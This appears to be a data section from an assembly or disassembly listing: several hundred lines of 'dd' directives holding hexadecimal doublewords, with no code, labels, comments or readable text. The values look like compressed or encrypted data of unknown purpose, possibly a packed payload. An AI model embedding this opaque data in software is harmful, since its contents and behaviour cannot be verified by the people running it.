		dd 0E4091BE9h, 508F2EB0h, 715D28B9h, 6A19E0A1h,	0D9FD7EE1h
		dd 26F20B92h, 6AAC8461h, 47910875h, 8421C01Bh, 4DDC06BFh
		dd 572CB50Eh, 0E5040612h, 5793032h, 6C6DF731h, 0A82B63B8h
		dd 464089A6h, 0F72A110h, 0D2F77589h, 784C5080h,	93FA61D3h
		dd 23BC024Fh, 0A52FC6B1h, 474CDF54h, 0ADA4FD95h, 4E19C257h
		dd 2B0B8FABh, 0D2CA5D02h, 0A7D2F90Bh, 7CDFB2F5h, 6557D200h
		dd 5270B625h, 6B50599Fh, 8B5E47FFh, 0B6F2F6E9h,	8A7BC7BFh
		dd 0A7EF3BE9h, 0C0318BFEh, 0C93A343Ch, 0E9D0C1A6h, 26CD3CF4h
		dd 987EFF7h, 0BFFF7A22h, 4DFB4C15h, 685680CDh, 5D9E36A8h
		dd 2778EA23h, 0F3DC5A44h, 0F812A0C8h, 3116AEFCh, 682DFBC8h
		dd 525F1582h, 7E7CCDE9h, 0A0D90C32h, 0EAC166CFh, 8870E903h
		dd 0A676145h, 0FA63B2F2h, 5427B276h, 0B0663EAEh, 681359DEh
		dd 2EEF410Eh, 28FF5B3Bh, 2C79E9ECh, 252AF197h, 0D9DCCBD7h
		dd 45705DEBh, 98559589h, 5490683Ch, 40CFBC78h, 0D577F649h
		dd 0C6E574Dh, 88EED15Dh, 37DB16AFh, 0A625EBC7h,	0F70BB82h
		dd 4A24FE4Ch, 5BED1813h, 6F987F01h, 0E4891221h,	0C8F2DEE0h
		dd 0E245EB5h, 0E30262B4h, 18755866h, 0BBC58885h, 53500E74h
		dd 3AFDFC5Eh, 0F8AC58E7h, 0C2843CABh, 8D7CA568h, 86D4F95Ah
		dd 51B3E926h, 57582873h, 786D2EFFh, 45572722h, 0C7C2A782h
		dd 31D2B440h, 0AD92C039h, 61C95EC6h, 6A1E3E68h,	0E35153D8h
		dd 8284E32Bh, 42FFB966h, 8F618203h, 840F0081h, 0A4959CC7h
		dd 0CCDC28A7h, 0BB305438h, 0AA015B5Ah, 63EF8C65h, 95C5AAB6h
		dd 0CCC0AB92h, 0C14BC371h, 2A73ACEAh, 0B63D167Eh, 0A8E826D9h
		dd 3FCAEEF7h, 31A54CADh, 0ED012770h, 77C31897h,	962CDFE9h
		dd 8D725B27h, 68834526h, 59323AC2h, 47378DAFh, 0FA74A721h
		dd 0E01620D2h, 0C04DB307h, 0BCA407EBh, 0CECC40AAh, 675536E5h
		dd 4987197h, 0FD48EFE9h, 3E705D8h, 4CF26B70h, 4CCE3601h
		dd 0EE32E915h, 0BF5BB877h, 1CCDE878h, 0C4CF816Eh, 0C017DF34h
		dd 24C49730h, 8444E160h, 4E558F0Dh, 4A9C429h, 0F85AE908h
		dd 445B2F1Ch, 0C280910Ch, 0F50B4D47h, 93E3BE61h, 0DC80040Ah
		dd 9E4AF97h, 57D0E9FBh,	0BD111E5Fh, 60FD7429h, 51F22995h
		dd 0EB17F7E9h, 7FAB8562h, 7977EA1Ah, 435D8B74h,	0D54BB2D9h
		dd 0E92F7ECEh, 59668166h, 0D332F389h, 608C1866h, 0B0C9BD0Bh
		dd 6D9A02F8h, 0C5810154h, 40317006h, 0AD8B0CC1h, 0FC93BFEAh
		dd 0DDA2B84Eh, 0E0C38087h, 0D22EB33h, 0CB28CA06h, 0C8C3D616h
		dd 0D2D80FDFh, 318082F2h, 5082CFF7h, 938EA896h,	0F2DEC506h
		dd 40583B12h, 0A6044CA5h, 0C5B4BF2Dh, 24505FACh, 28298193h
		dd 0D9B8002Dh, 4C640078h, 50F2540h, 71BD53E5h, 402C01h
		dd 66913619h, 7395E868h, 10D204Eh, 52F7EF81h, 2A2967C7h
		dd 27081F10h, 3A92D35Eh, 0E86AB7F3h, 0AACD80C1h, 52E75CFh
		dd 16423119h, 1D715781h, 0E8E8CC09h, 0C25E9CDDh, 0F61CB70Dh
		dd 0A91012D6h, 454B523Fh, 0A450D20Eh, 0C69F03AAh, 0EFCBF1Eh
		dd 8BAA4AA5h, 56381833h, 0A115F450h, 1F206A95h,	5D91CEE8h
		dd 2C43A0F8h, 79F848A0h, 3FDDD682h, 0CAF47E16h,	46A11086h
		dd 7152B802h, 40DF7FF7h, 0CA358Dh, 52A0417h, 4C6878E4h
		dd 7239C0F4h, 0C1011863h, 0B7470B54h, 68D9C33Bh, 0C66B81FEh
		dd 3F8C67C5h, 6B4C0C82h, 5375780Fh, 37090E4Eh, 26CABB13h
		dd 0A2CAF85Bh, 8D3AF557h, 5817F45Dh, 68976973h,	0A4F7D5B6h
		dd 24DA9F8Bh, 7A30769Dh, 0F049E4ECh, 77BA5AA5h,	0E255EB3Fh
		dd 3FC2848Dh, 778DB800h, 0E1BF288Ch, 5A249107h,	16D7975Fh
		dd 1CDF9515h, 0C245990Eh, 1240EA68h, 0BE80F216h, 2C1E13FBh
		dd 1AD0BF42h, 4FD50C73h, 0B2A2AC79h, 0C4D9B9h, 0BB535205h
		dd 0DE076D2Ah, 0AFA0BA3Ch, 9C2342Ch, 56C3575Fh,	40EABAC1h
		dd 3558E908h, 0ED813DB4h, 2E510717h, 0FE02163Ah, 0F7BB7985h
		dd 35688211h, 55D89A4Ch, 0D088D054h, 0B15B122Eh, 2D2481B6h
		dd 4A103FB5h, 7D0F13Eh,	5B115007h, 2D5F6EF2h, 0DF584DE9h
		dd 7995C620h, 0EF57124Dh, 0E9C605E2h, 0B5072DBAh, 5DCD807Dh
		dd 8870C531h, 0E3E47331h, 0C3FE0B0Fh, 82F7DBF6h, 6825E92Bh
		dd 94BBE9Bh, 29718221h,	0C4CC2057h, 9D6C4603h, 11DAF9E4h
		dd 18170D1Ch, 5ADCF86Eh, 29DE3844h, 70DB5F0Ah, 0D180966Dh
		dd 6F72B7E2h, 4B3D2B38h, 4B3FDEEBh, 38548EBEh, 20A270BBh
		dd 9A952D5Fh, 63237D30h, 305E1839h, 0A0011A91h,	0E92408CFh
		dd 509D82FBh, 1047198Bh, 0B5485574h, 7CB01EC4h,	62E52D1Ch
		dd 0B2FE6452h, 0D2BD026Dh, 612C3F29h, 14816D4Ah, 0AAF3FA35h
		dd 2DE17BCEh, 0E9AA806Eh, 0D7944F01h, 90685A40h, 918DA85Bh
		dd 0AE91C6h, 5587FCEh, 0D626F70Fh, 422F4D46h, 277E7573h
		dd 952AE9D0h, 0DD958E50h, 0E09FB43Ch, 0BD1E687Fh, 0BF8FBCF9h
		dd 2B0107B6h, 12D46BF5h, 0D55BFF82h, 676425E4h,	81EEA606h
		dd 42DAF68Eh, 0D1005EE0h, 0BD039EAh, 581E840Fh,	3C004465h
		dd 5066390Eh, 153100B8h, 0D0F76D54h, 1405B30Dh,	22D45DDh
		dd 351982C0h, 0AE1516D3h, 6591148Eh, 0EC533912h, 7C3E133Fh
		dd 5C2DF5F9h, 0A702C6E2h, 45557A69h, 0FFDE3A39h, 2DE9116Ch
		dd 0BBD6F64Bh, 35EB64EFh, 62278CBBh, 9ED17197h,	6817A56h
		dd 6FE91F03h, 0F37FC22Fh, 1044328Dh, 0F013B9F9h, 0B02904F0h
		dd 80704AA7h, 3037B342h, 5B66DD1Dh, 5259EC00h, 7C0F5B2h
		dd 0CA8002E2h, 32F2330Ah, 92A997B7h, 0C07716EAh, 17E3280Eh
		dd 0CC1DAF68h, 0FE2E5254h, 0DF10DCC6h, 8396F48h, 93D80A31h
		dd 556774C2h, 0C35A69EEh, 98FB879Ch, 2226F392h,	1A1AFF4Ah
		dd 724D411Eh, 4E9FBB48h, 0D2AAB363h, 8686A2AFh,	6570114h
		dd 934F6AE1h, 0EB020C4Ch, 0F77F3E72h, 0FAC740D9h, 0C165DF48h
		dd 0C32F16F1h, 0DA45646Fh, 59058ABCh, 0C8AEF328h, 19401307h
		dd 6AFA0DB9h, 824E70A6h, 0EB1F3E5Eh, 6A934262h,	2C3075D0h
		dd 0E6BF544Ah, 0AA56B534h, 525F660Eh, 3547531Dh, 2CE526AFh
		dd 0EB0CDB0h, 0C3885336h, 0CB48DD49h, 2BBEE6E9h, 0F4665D0Bh
		dd 0B66C189Fh, 18CFBED2h, 0DDABB754h, 2BD82FC0h, 9EB25C3Fh
		dd 1B4BBAC3h, 30E13C92h, 0BEA00764h, 9C13A701h,	0E3D82DE0h
		dd 4A6F6697h, 0BD4BE5Bh, 0EA3394AAh, 0FBA36B09h, 0BD5580F5h
		dd 366A707Dh, 9BA8E913h, 161B64EFh, 8285FAE2h, 2C405E08h
		dd 28FF09E1h, 9D8A9DF1h, 0D093F53Bh, 0DFACA84Bh, 26A14938h
		dd 4FB024C4h, 0EBC2787h, 6C73980h, 0C903EF9Eh, 35D434C0h
		dd 435F044Fh, 503225F2h
		dd 905F5D38h, 0DC58129h, 65302EDBh, 0BD216F0Ch,	0B4017420h
		dd 0E4E2C1C3h, 0C49D4E1Dh, 8214993Dh, 15785E1Bh, 58080512h
		dd 5DADA4FEh, 730FAAB8h, 843A38B0h, 0EA139857h,	2410C701h
		dd 0EA5004D0h, 124DEDD1h, 9CB5E1E9h, 0C17A8357h, 7003FDE5h
		dd 0AF4E5547h, 3021AC89h, 4B2B20C1h, 18DA416Ch,	0C2C24E95h
		dd 5351910Dh, 20D9677Dh, 57764095h, 0B7FA4695h,	0BDFE889h
		dd 5844F524h, 35A5040h,	0D079F505h, 2D9A0120h, 8B8F078Fh
		dd 0E9188920h, 6DACB8A7h, 0F66B59BCh, 0E962793h, 4273F695h
		dd 0B25A3h, 294F43E3h, 0D8312F78h, 440BBAF8h, 7A5E5556h
		dd 590882CAh, 0B9146283h, 0D5989C46h, 3D80DA4Ah, 2D3EB3B8h
		dd 5F90C8Eh, 42A9388h, 5E1C4F09h, 30BDB6C9h, 69F2BFh, 0BE5675CBh
		dd 205C3E3Bh, 6E6C113h,	988162C3h, 25B08E1Dh, 40F129EBh
		dd 1C59920Eh, 0E24EDD27h, 0A609F04Ah, 6FD1575Eh, 95C8D3E7h
		dd 17559013h, 9C38820h,	8963C408h, 0EA3083D7h, 7F27F205h
		dd 26C5ABA0h, 4B90433Ch, 3BAED00h, 34E97E61h, 0BC799775h
		dd 7A6DF760h, 0C96983Ah, 65D442EEh, 6314FA0Ch, 5CD7B99h
		dd 2FC30F26h, 0C0825CBEh, 0C75B7703h, 716116E9h, 4BEE684Ch
		dd 58F2317Ch, 0E55DC982h, 62F38703h, 5295BA4Ch,	90BC83F9h
		dd 0B8C05B3Dh, 1BA11229h, 2C41D4B8h, 0AB30D0E5h, 87569B40h
		dd 20662205h, 53E80103h, 0BFE9520Ch, 0B5C2ED1Fh, 570C2D2Ch
		dd 24DF6012h, 81DA8409h, 18468F08h, 5801097Bh, 0A7B6E5FDh
		dd 400B4F51h, 275910Ah,	0AD4D233Fh, 500EF2F1h, 0E569EA8Ah
		dd 315D4E0Fh, 8FAAADEBh, 0AD5F166Eh, 44B893BDh,	0D60EA494h
		dd 0A853195Ch, 3BDC16A5h, 0EDC1FB02h, 0ABED8E02h, 6B4500Ah
		dd 1763B5CDh, 50B2A01h,	5F3E4004h, 0F72A850Ch, 9DA481Bh
		dd 106DF01Eh, 0EEE92549h, 7E5B7B61h, 17F7EF40h,	0BAD058B1h
		dd 0B6537605h, 40568BDFh, 57259A5Dh, 0C7EA3ADEh, 0B886BE2h
		dd 0DD5C8B77h, 585FAEEAh, 0E69F203Eh, 2E434097h, 239E0672h
		dd 1249E1D1h, 190BEFEAh, 0BCE89A6h, 0DFD42BACh,	0B027E99Ch
		dd 55311031h, 1CFF9D54h, 7E45BFD9h, 59426821h, 2070C053h
		dd 51232C18h, 40AA0B02h, 0A0E59677h, 2777E71Ch,	94E2440Fh
		dd 309440DDh, 53C70670h, 3A2BC4E9h, 44479EB7h, 0CE400933h
		dd 68F30B29h, 47516202h, 5439EAA7h, 0C82262CFh,	51E72D76h
		dd 5F0D75C3h, 7AC7E43Ch, 0FE5C26CBh, 69D32745h,	9B0A8262h
		dd 9E3CC1F3h, 78ED3F34h, 959B7908h, 23A2E168h, 20EF9CBDh
		dd 0F8BDDBFEh, 0E199326Ch, 0E584310Eh, 0F244BAF1h, 0F3986219h
		dd 4C2B76EEh, 0D202B560h, 216A8443h, 0A0A74577h, 0EA6E44AAh
		dd 8D30140Bh, 4D10217Dh, 0CF218B20h, 0A303847Bh, 0FD5C3B94h
		dd 2EFDFDF7h, 268A6A91h, 98C41D78h, 2731AA8Ch, 0D5C205F9h
		dd 4721E9DBh, 5BC34D89h, 6068866Bh, 1F312147h, 2A5E6F2Bh
		dd 0D384312Eh, 5E313A52h, 692B039Ah, 193D19D2h,	0EB8B60E5h
		dd 8C0FCAAh, 681FCDBBh,	413073Dh, 3CB8C6B0h, 429D06C5h
		dd 49177E09h, 0E423E4DFh, 65480A13h, 1743F2EAh,	52FC67BFh
		dd 0E3C2C496h, 57578B43h, 681C0A6Ch, 0DD251F36h, 0E9059147h
		dd 0A4B6B4h, 3FC82E6Dh,	1CE82D2Ah, 2E18F8EBh, 5C0C4984h
		dd 6EFC2004h, 27DA7B39h, 0BC44CBBAh, 7E55B382h,	0D1124Dh
		dd 0FBF9F6D0h, 900964Ah, 0BF575EF1h, 3F195223h,	414C2966h
		dd 0C936FE17h, 44D27B59h, 2240405Bh, 657C0F15h,	8AC9F129h
		dd 0F5BC7A63h, 68C2E8C7h, 0EE0966B7h, 0BD0D4E14h, 0F5BFA43Dh
		dd 0CD9B6CB3h, 0FA2A1560h, 8CAB0C52h, 1A503173h, 1B4BC1C5h
		dd 0F601D489h, 5C2A9C62h, 0AA8492F6h, 0B45BD2F3h, 101388FDh
		dd 8CBB2132h, 80954D65h, 0B652AC6Ah, 0E6C03EE4h, 98EE301Ch
		dd 0D5F608F5h, 807D8678h, 48F0C773h, 5D0CE912h,	0F58B305Dh
		dd 0E90174C9h, 82ACC655h, 0A4C5F794h, 0BBA354C7h, 2D142521h
		dd 2BEB237Ah, 0A1BF2DD6h, 0ED7EDA8Fh, 0BCBFF489h, 18E98231h
		dd 0C1F3908Fh, 0CC1C177Ah, 3543E09Bh, 94438A09h, 0AADA71DEh
		dd 414709BBh, 0B4DC3001h, 0D2088C9h, 8B96E905h,	1C9652AEh
		dd 66C965E0h, 30A26E2Dh, 0EC08425h, 4C0048B9h, 0D1F76D7Ch
		dd 0A001C183h, 0E002A6F8h, 4A297B90h, 755E448Bh, 0CA80057Bh
		dd 4DB893C1h, 2C3232Eh,	2F1C6DC9h, 4A398340h, 4812FB7h
		dd 92690FCAh, 78E5B80Ch, 0AB601826h, 0F2C04A1Fh, 0EE45E0D3h
		dd 6CCE0BBEh, 20D783C2h, 3DCAC628h, 0E9790BBAh,	88C87820h
		dd 0EA1D0EA8h, 0FDA4011Dh, 96910820h, 20DFAFh, 547DFE24h
		dd 0F5F00127h, 0FEE385B1h, 0C37F04CAh, 2AE61273h, 6B16C95Dh
		dd 0C96F25Eh, 0A8BE4334h, 1F8C861Eh, 485BB744h,	0DBFB536Fh
		dd 0C6255Ah, 0D168572Fh, 0A318B751h, 5F820E98h,	3FCE9100h
		dd 87F86E80h, 0D549E295h, 0ABB58C96h, 0E9DA8395h, 52A52D3Ah
		dd 534A09C0h, 0C29D5B7Bh, 7707096Ch, 0AB973543h, 26F6ADABh
		dd 7976D28h, 830C02Dh, 1E50DAF6h, 0D9808EB0h, 0D8D206C3h
		dd 2873CAC2h, 798BE913h, 6816D2B2h, 0BFCB849Eh,	0E90920CEh
		dd 92578D72h, 755560A4h, 49D59958h, 9E43DAD1h, 0F9EA8433h
		dd 0DDD2C9F6h, 48A5FCD1h, 0C452A7D2h, 0BCDAF730h, 0CBED4B42h
		dd 4CCFCA02h, 0DAC06353h, 2C70B015h, 43C47E97h,	58AA685Ch
		dd 5DD610E6h, 69108C08h, 0BC971D04h, 8FBF3E0Eh,	453C0B0Ah
		dd 0B5FAA0AFh, 1EBDE039h, 31022CB1h, 7D9F4338h,	14BB270h
		dd 8EEA4A12h, 1289913Dh, 0CFFC46ACh, 4E407CCBh,	7F624A68h
		dd 96E040Bh, 150CA186h,	0C62DBD09h, 914AA065h, 0EC11E761h
		dd 0ADAB13F1h, 253CAC75h, 0C36EB329h, 6A41E1EAh, 0DD89412Bh
		dd 0D874C126h, 731C89F5h, 0D59205F7h, 50F4AD05h, 3D7B31FAh
		dd 36613E38h, 58670E6Fh, 0A4007D4Ch, 811EB37Ch,	391390E6h
		dd 42EC1F35h, 0CE0BE04Bh, 3129220Bh, 2F328116h,	0F02B5855h
		dd 1814AF99h, 0AB26D44h, 9F3C398Eh, 4926F301h, 0A82EF8A4h
		dd 5EEE1F69h, 0F74640C9h, 7B5758A9h, 0E139E471h, 37B96BA7h
		dd 0CA6BABF2h, 0B9F1C784h, 2CD87103h, 862EE2A7h, 10529AF7h
		dd 80E390E4h, 1B12C9BBh, 0B5EE799Ch, 616A37CAh,	30428F30h
		dd 6852A350h, 8C565BB3h, 144494B6h, 4173B8EFh, 0A89C8C85h
		dd 50310D37h, 0D32CA0C3h, 4B36FEC1h, 0C4B90458h, 0BE1CDE3Ah
		dd 0FB0196C1h, 0AE2F0F6Ah, 0BD066480h, 0F2174C22h, 6EE3109h
		dd 0FBFEF3DEh, 0E15BF838h, 789F68F8h, 0B3CB1178h, 41BAC255h
		dd 0A8E81F2Bh, 5515AE9h, 0FFF9F771h, 0E13CE0DDh, 9C6855C0h
		dd 154C5626h, 0E4F50268h, 407CEF6Ah, 2C7D4E48h,	2932C50h
		dd 9609C9C2h, 425CC2F7h, 0FEAF5AA7h, 0ACBE9CEAh, 0BF041525h
		dd 0BC254A3Bh, 0ABC18807h, 4CA7B70Fh, 0E240077Ah, 67578E1Ah
		dd 0E962FC2h, 0E046B00Bh, 49F4846Dh, 0B77E5AB4h, 62F6390Bh
		dd 0DEC4C167h, 0EF6212BBh, 0E6DFE7B6h, 9D884EA2h, 0F55B680Bh
		dd 524C91C4h, 0BE3D1949h, 0F154151Fh, 7DFBEB13h, 232C6EA4h
		dd 4A276935h, 0E916CD1Eh, 18A65E83h, 570B0758h,	9D8CEE32h
		dd 53B7568Ch, 9B1C3D19h, 0B0FF2D6Dh, 0B681EAECh, 25A4808Dh
		dd 0E8C1732Bh, 0F44A3FB8h, 0C6B93700h, 9014326Fh, 3995165Fh
		dd 0B5620694h, 0F35AD13Ch, 0EA5813EAh, 5AAF97CCh, 0F6F0D01Bh
		dd 0D2C53E1h, 2CBA433h,	604E0823h, 2C28F411h, 256F97C5h
		dd 6668D001h, 52FA4C2Bh, 4E4149FCh, 44D46D68h, 9777E404h
		dd 0E584C115h
		dd 0C8C46939h, 854817E8h, 812EEAB4h, 6FB7E90Bh,	25F7B42Bh
		dd 0E1E95D85h, 0F5CDE9F0h, 5977A09Fh, 9851293Dh, 8DD895D2h
		dd 6D4BE50Bh, 9C4402B7h, 4FAED66Fh, 55F4704h, 56C1EE80h
		dd 0CC7A39C8h, 789DB188h, 8A594B87h, 4C247FBCh,	0F58842ABh
		dd 16506A70h, 68E57053h, 18971F43h, 4B6DE965h, 0D399AA2Ch
		dd 7F32EF2Fh, 46ACD591h, 2712929Eh, 0A000265Ch,	873E19CFh
		dd 560CC11Dh, 6013DE6Dh, 0C70210A5h, 0DE937C3h,	2ECA272h
		dd 6A50191Bh, 0A69E65F8h, 18C02CE3h, 0E16CF69h,	0F4BF17A8h
		dd 9362023Dh, 0E7F03FE9h, 52550EB1h, 0D04BCA88h, 0B2E6CB04h
		dd 68530B55h, 46855B8Ah, 0D004805Bh, 410AFC15h,	66071BC1h
		dd 17F7F62Eh, 1A3074C3h, 2D3234BFh, 0E8E1577Ch,	40A56047h
		dd 29910A09h, 91255F01h, 55820102h, 300BC233h, 36138D04h
		dd 0F0126A9Ah, 2F080610h, 6B0B715Fh, 31FB0519h,	0FFA11488h
		dd 925BCCDFh, 6B56DE2Bh, 55515A29h, 97F25560h, 0E9C2DF5Bh
		dd 95A07074h, 12C93D72h, 0FD98571Fh, 4082F382h,	263E6A29h
		dd 88B80C29h, 7A2C545Eh, 2027A702h, 26BC8075h, 9659BF21h
		dd 6D2D01D0h, 0B4697214h, 8022010h, 0FA7CCBE9h,	3D23EC1Ch
		dd 86A564BCh, 879EB77Eh, 8D9F7CDh, 0B96EFAF0h, 6B71E819h
		dd 0BE5F6AA2h, 526EF657h, 6CA6D5D3h, 109F3C80h,	9049D1F7h
		dd 62176F56h, 0AB0DD800h, 437CC445h, 0C301194Fh, 873C8859h
		dd 684D286Fh, 4E4EE238h, 3A302DEFh, 411863A0h, 0B0CB2E52h
		dd 0BBB55100h, 0C580D5F6h, 0ED712173h, 55D06C8h, 0C0E82853h
		dd 362C078Bh, 806598A1h, 0DE90BB5Dh, 6189A22Eh,	4AE997D8h
		dd 59845893h, 0F3AE7796h, 27134BB9h, 43B638BBh,	0CEEC4A41h
		dd 0A158131Ch, 0BAF00030h, 2D7FFD5Dh, 55321E01h, 5F02967h
		dd 555E0742h, 64529DFEh, 49A702EEh, 0DA312F99h,	0C14B8BD1h
		dd 7E965189h, 8B37F2F8h, 9FCE7845h, 0F4D31C55h,	67C49536h
		dd 86685003h, 0F2798A7Ah, 2EE45ECFh, 7C52D155h,	2F0502D8h
		dd 43708E29h, 4F66075Eh, 436ECC27h, 0EABCD7F7h,	0B4854EDh
		dd 0E0A2F803h, 0FAAD298Eh, 0FBFA4A4h, 46836679h, 0D24B7744h
		dd 0BC56F382h, 5F5CD7C2h, 12B0C2E7h, 4B3CD4B8h,	494A83Bh
		dd 433F6806h, 80260EFh,	6148AF1Dh, 9A046B9Ah, 25877E79h
		dd 0E10E28D3h, 425C82A4h, 0D0984250h, 0A7BA046Ch, 0BE71547Eh
		dd 921E29A9h, 0E9F94320h, 27041623h, 5FAF7A65h,	0DC89FF13h
		dd 0E43E5F61h, 444F8128h, 0BBD23BBCh, 0C5FE16C5h, 7B7CB757h
		dd 0F40B5Fh, 7051B7EDh,	2682AE08h, 0FA6512B1h, 12EBCA40h
		dd 9F55074Dh, 0DBFDED42h, 246AE954h, 77276C56h,	5C16134Eh
		dd 0CCEAEA68h, 0B13877CCh, 0CEEFCBFFh, 1EE90EC0h, 8AAB1644h
		dd 0EEB3D376h, 0B62CAED6h, 0E6F04A21h, 31475A5Ah, 908B41E9h
		dd 0E87ECA49h, 49BBF60Fh, 824A7B78h, 6C747253h,	0C1805807h
		dd 7DC964DEh, 0BFFF81EAh, 0B2D4E7C0h, 954B7A12h, 84BC7B16h
		dd 6D0EF260h, 0FEFD2F33h, 0CE9550D8h, 13244E88h, 52522272h
		dd 761657E1h, 23E1273h,	4001C592h, 2C45F995h, 42B50D8h
		dd 0C1746FB2h, 9B5B7EFDh, 0CB68D995h, 37ABF111h, 0BBAD903Fh
		dd 25B0472h, 0E917A9A9h, 5CE43F2h, 269A2EBDh, 0B9F4F06Ch
		dd 6F3B6019h, 82C4E4Ch,	5FF7C2A7h, 776B8B54h, 97FEDBC4h
		dd 2D609F60h, 5E3E9675h, 1754ECE3h, 1F60519Eh, 60693695h
		dd 7ABDE31h, 0E9181841h, 0BA2622A6h, 942B172Eh,	0EC60EF13h
		dd 26157EF2h, 0B766447h, 0EEFDEE80h, 75715D03h,	2B89B15Eh
		dd 1101BF8h, 5B5D1D6Ch,	0EF0102A5h, 3BFD2C4Ch, 2B0D187Bh
		dd 0C76730E9h, 6456BC2Bh, 0BE0076C2h, 11372025h, 44E5BF05h
		dd 0A7AC75EDh, 2681B04Eh, 3B6D6113h, 59BC9201h,	188050DDh
		dd 0B0945FA7h, 0D695FD01h, 3BE7C01Fh, 0DAA07F8Bh, 0FB256321h
		dd 4C77E6Ch, 983C0B68h,	6741D50Fh, 27100647h, 100506FFh
		dd 2D401ACCh, 0DE02DFC1h, 0A355E148h, 831C9067h, 7CD4D903h
		dd 5F3F8C3Bh, 4A7B4198h, 0B27DAB28h, 0B1220101h, 35CAE90Ch
		dd 7884E92Eh, 0BB87E45Bh, 8AA2C305h, 0E5C1BF4Eh, 5217288Ah
		dd 9AFFC268h, 6A9941FBh, 2946056Fh, 0B8C485D8h,	0CEC15BB5h
		dd 0CBD613D5h, 0DAF7C964h, 1F79BC2Ah, 0C16DCC6Ch, 0D32F64CEh
		dd 5BB8EEBAh, 0D8B57942h, 36FA05FFh, 8F1892Eh, 0BA01C0DFh
		dd 74C951C3h, 0E5A2320h, 0D1527137h, 70891FD6h,	0B1D0EB4Bh
		dd 301AF2Eh, 9476BC2h, 7BE52B0Eh, 0DC449192h, 0C127Fh
		dd 5BAD3C20h, 0A7FF6595h, 0D7937C74h, 27D89885h, 0B8C9852h
		dd 17983565h, 144BEC7Dh, 0F40F81E9h, 0C23459Dh,	366825Bh
		dd 3047ADC0h, 0F23CDC2Dh, 12E2E67Dh, 0FE0DDA62h, 41FEDE5Ch
		dd 0B0FC01F0h, 7B3C66A7h, 942DD429h, 0C2AC567h,	5A16F1AAh
		dd 59D58927h, 22086B08h, 54EF0BA1h, 300F13D2h, 72754E76h
		dd 0E763DD16h, 4A79D2E8h, 0DB02DF9Dh, 46E685EEh, 5089FBFEh
		dd 8A596F9Eh, 95B8663Fh, 0E489EB4h, 0B57B9A3Dh,	2D42D1D9h
		dd 0F5458921h, 4EDA59C3h, 471236FEh, 4DDE4EC0h,	31EC20ACh
		dd 7694B5A0h, 12F140Ah,	371EAAF9h, 805A4F09h, 0DA0F5D1Ch
		dd 0E9451635h, 2857A0CBh, 85C0D359h, 0E581EBC0h, 0A5880638h
		dd 0BD162BE1h, 0C60C5FBh, 0D315F3B8h, 2B8C3803h, 2FD7F581h
		dd 8902890Dh, 0BA01536Dh, 3FF7DEDh, 484EF2A2h, 708F4A34h
		dd 0A29E4E2h, 0CA046F7Dh, 19DD506Ah, 71E66D80h,	0E91D09DFh
		dd 7D20235Ah, 556D5631h, 36BF2CC1h, 0C80686Bh, 5D16690h
		dd 0B74D10E9h, 5C432568h, 2E680411h, 7DC45369h,	0FF2FC50Bh
		dd 56E6CFC4h, 61094676h, 65EF189h, 7922912Bh, 0ECD34A53h
		dd 0C05A2842h, 0B87F2F41h, 0E64D705Ah, 5768C21Ah, 9D98553Dh
		dd 0CC00FEDAh, 86DDB353h, 0D7D0F6C3h, 52D2EF08h, 22740E1Ch
		dd 51DBF600h, 0CB3075B1h, 8001D8BBh, 0DC08F2F3h, 42EF8470h
		dd 0BA290467h, 6FE74B4h, 0B0D6097Eh, 771D8A25h,	0FD861C32h
		dd 68047A25h, 55532348h, 443030E8h, 5BB0050Fh, 42361C25h
		dd 5D070482h, 0D10044BEh, 276CF945h, 27404469h,	5BF18BF1h
		dd 0FFF01BE2h, 7CC0EB1Ch, 234C14EEh, 51F57E01h,	627B08C5h
		dd 0E557ED37h, 229BA438h, 35B907BAh, 0A378CE41h, 0BF842ADAh
		dd 2B1473E2h, 0B7105B3Ch, 4192507Bh, 39391C26h,	4E6B5582h
		dd 24E2C059h, 0A75261Ah, 0AAF82D2Ch, 7A9524Ah, 0B0A389DFh
		dd 0F589A0DCh, 0E9477415h, 4C9A6DBh, 0FA1B354Fh, 742ACCB9h
		dd 0C5FF30A6h, 3A06BE32h, 6529CE99h, 0C0542C20h, 80E4B575h
		dd 203EDFF5h, 521C8EAh,	5385E9E3h, 4498CAEFh, 68FC509Dh
		dd 0A30CC603h, 5515B14h, 6674F010h, 0F3C0C10Fh,	5954E86Ah
		dd 589FC9BAh, 84681676h, 3DE38D29h, 0EA83C5BEh,	758CF6BAh
		dd 0B1F903BDh, 0E78185BFh, 0D832D16Dh, 3117DC4h, 2D5A5559h
		dd 9F92D8FCh, 0C80046FDh, 5E0AE6FEh, 7602CC51h,	8030891Eh
		dd 690750C1h, 8C61BD73h, 5D02E29Dh, 2B6EFD29h, 25FE682Fh
		dd 0B2AB2C00h, 3CE2B5BBh, 1D81A52Fh, 544F9268h,	0A76FF823h
		dd 60E9C3C0h, 0F2F7C04Ch, 5FDC0141h, 0A83BC0B5h, 64DF1C4Eh
		dd 10E6B305h, 0A05A3EA8h, 0E9401509h, 97A9580Eh, 20F61475h
		dd 69A210E2h, 8A0B4BFFh, 17B847FAh, 2252FBEAh, 85D196C1h
		dd 4D8D6800h, 0FC141627h, 0F891A29h, 32502B49h,	51E04E88h
		dd 0BF11F9EEh, 0F55F02A3h, 7580B0C8h, 39554E3Ch, 2158E1C8h
		dd 0C12A574Ch, 3F20C419h
		dd 0DC02DCC9h, 5370F7E1h, 0F818A226h, 7841C082h, 6FE246h
		dd 8302C38Fh, 0F8095B4Dh, 7F20057h, 0E91BDB68h,	7819E0Ch
		dd 32EAEC80h, 0CF6352EEh, 0C8768BEAh, 81C6D26h,	0B29EE3DBh
		dd 1705FD50h, 2C80B154h, 445CCB38h, 1CD99D0Eh, 743BDC62h
		dd 0C774D28Ah, 77E526E2h, 5437C7A2h, 923C945Fh,	0FD2926CCh
		dd 80DFADA5h, 3125071Bh, 4421468h, 99009448h, 0E971EA13h
		dd 0C3822678h, 0C17ABA65h, 0C87374Dh, 699331AFh, 932CBC74h
		dd 2C1A7B0Dh, 0F63B826Ah, 0BABDA878h, 0EBA5F768h, 0AC4BEB0Fh
		dd 0B66902F0h, 0C468FC6Bh, 3EADEB53h, 91C10A84h, 25488E21h
		dd 6F20E90Bh, 0B84B6FCFh, 0BA52C2D3h, 656360E3h, 44F502B9h
		dd 0D129D5C2h, 0A04C12FFh, 523005D4h, 28107F40h, 97072DD8h
		dd 86BF84C5h, 6C585CBCh, 0DFB2C22Ch, 30E08B0Bh,	570963F3h
		dd 0D60175D3h, 3101EA9Fh, 2C05F0D9h, 99022E3Ch,	74ABFD12h
		dd 0B2C6BB76h, 0FCE924D5h, 6E57985Dh, 0AD1E73C9h, 3CC1BF7Ch
